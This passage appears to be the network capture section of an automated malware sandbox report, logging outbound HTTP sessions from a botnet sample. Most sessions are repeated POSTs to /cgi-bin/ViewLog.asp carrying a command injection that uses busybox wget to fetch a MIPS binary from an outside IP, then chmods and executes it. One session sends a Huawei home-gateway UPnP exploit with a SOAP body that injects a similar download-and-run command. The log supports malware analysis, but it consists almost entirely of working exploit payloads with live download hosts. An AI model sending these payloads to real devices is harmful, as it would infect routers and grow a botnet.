                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                885192.168.2.153313485.244.115.1288080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.779901028 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                886192.168.2.155453031.136.179.278080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.831787109 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:05.911946058 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:12.055767059 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                887192.168.2.154944094.120.108.658080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.874063015 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                888192.168.2.155763231.210.66.608080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.979815006 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                889192.168.2.153820894.122.67.2028080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:02.983064890 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                890192.168.2.154162262.29.48.28080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:03.448205948 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                891192.168.2.153422094.120.240.958080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:03.573900938 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                892192.168.2.155207862.210.231.98080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:03.851146936 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:04.029077053 CET261INHTTP/1.1 404 Not Found
                                                Content-Type: text/plain; charset=utf-8
                                                X-Content-Type-Options: nosniff
                                                Date: Thu, 23 Nov 2023 04:23:03 GMT
                                                Content-Length: 19
                                                Connection: close
                                                Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a
                                                Data Ascii: 404 page not found


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                893192.168.2.153809294.192.92.2108080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:03.857305050 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                894192.168.2.1535064156.241.94.15437215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:04.827023983 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                895192.168.2.155128285.209.19.1158080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:05.046708107 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:06.071944952 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:06.261010885 CET360INHTTP/1.1 404 Not Found
                                                Server: nginx
                                                Date: Thu, 23 Nov 2023 04:23:06 GMT
                                                Content-Type: text/html
                                                Content-Length: 146
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                896192.168.2.153612495.217.2.1918080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:05.054172993 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:05.353657961 CET1340INHTTP/1.1 500 Server Error
                                                Date: Thu, 23 Nov 2023 04:23:05 GMT
                                                X-Content-Type-Options: nosniff
                                                Content-Type: text/html;charset=utf-8
                                                Expires: Thu, 01 Jan 1970 00:00:00 GMT
                                                Cache-Control: no-cache,no-store,must-revalidate
                                                X-Hudson-Theme: default
                                                Referrer-Policy: same-origin
                                                Cross-Origin-Opener-Policy: same-origin
                                                Set-Cookie: JSESSIONID.7207112b=node0igf8l5wnlpbl1euci0rj5gz21267271.node0; Path=/; HttpOnly
                                                X-Hudson: 1.395
                                                X-Jenkins: 2.277.4
                                                X-Jenkins-Session: 09e4e951
                                                X-Frame-Options: sameorigin
                                                Content-Encoding: gzip
                                                X-Instance-Identity: MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwsyAO88OOsoFjsyG56EG0guJaphBU2/2k8WumRIVt6xc6ueihqzkxRC8nx4FpY1UcxbIDkhAplraOAZaROgGwSN1+m3ibpBn0nXKb2wIIN9///nYXzD50oR92YVOVwownzeh4687fXGf104UNwkO5gC9tGE5rIuW/EHksQXrPEgp+Gx6OXR1i4MCeGBZnFr1dXQDAHE8vGit4jw1ytguNUeHfKGHnbDPnd/wfUkT6XgLgaJ/yxoLuxUmZ7p8PDC+vDajZSORyg0AUqsm8i/6SeSOTbdZBCJQKkOPLcOSU0MdjalHNxzwE4AthZqmjjvnCtOhB3DpG3bixGi/tCgW2wIDAQAB
                                                Content-Length: 1955
                                                Connection: close
                                                Server: Jetty(9.4.39.v20210325)
                                                Data Raw: 1f 8b 08 00 00 00 00 00 00 ff cd 59 fd 6e e3 36 12 ff bf 4f a1 aa 38 e4 0e 28 ad d8 71 9c f5 d6 f6 a1 db dd e2 b6 58 34 c5 ee f6 3e 70 28 0c 4a a4 2d 26 94 a8 92 94 12 df d3 f4 59 fa 64 9d 21 f5 99 d8 49 76 9d 03 0a ec ca 12 35 fc cd 70 be 47 f9 22 08 be 08 82 c5 97 af 2f bf fb f8 9f 9f de 04 a9 cd e4 6a 81 d7 20 91 d4 98 65 18 c2 23 a7 2c d0 dc fc fc fe dd 32 8c 8c a5 56 24 d1 e9 9c 4f f9 fc 7c 1c 06 8c 5a 4a b4 52 b6 d4 12 e8 eb 67 6e dc e3 01 72 7e 6b 79 6e 84 ca 0d a1 15 15 92 c6 92 2f 43 ab 4b 5e 13 94 b9 b0 c4 72 63 97 e1 86 4a d3 2c 8b 8c 6e 0f 20 47 fe 5d 4d 98 e8 32 8b 09 4a ce f5 32 fc 81 e7 d7 02 78 7d 87 ab 03 8a 8a ca 12 38 5f cc 18 1b cf e6 f4 74 f6 62 ba 49 e2 73 4a 79 c2 68 3c a3 e7 c9 6c 76 31 9f bd 60 09 3b 3d 9f f2
                                                Data Ascii: Yn6O8(qX4>p(J-&Yd!Iv5pG"/j e#,2V$O|ZJRgnr~kyn/CK^rcJ,n G]M2J2x}8_tbIsJyh<lv1`;=


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                897192.168.2.155099631.136.74.2348080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:05.073791027 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:08.215861082 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:14.359697104 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                898192.168.2.154643062.29.57.778080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:05.114842892 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                899192.168.2.153973095.86.91.608080
                                                TimestampBytes transferredDirectionData
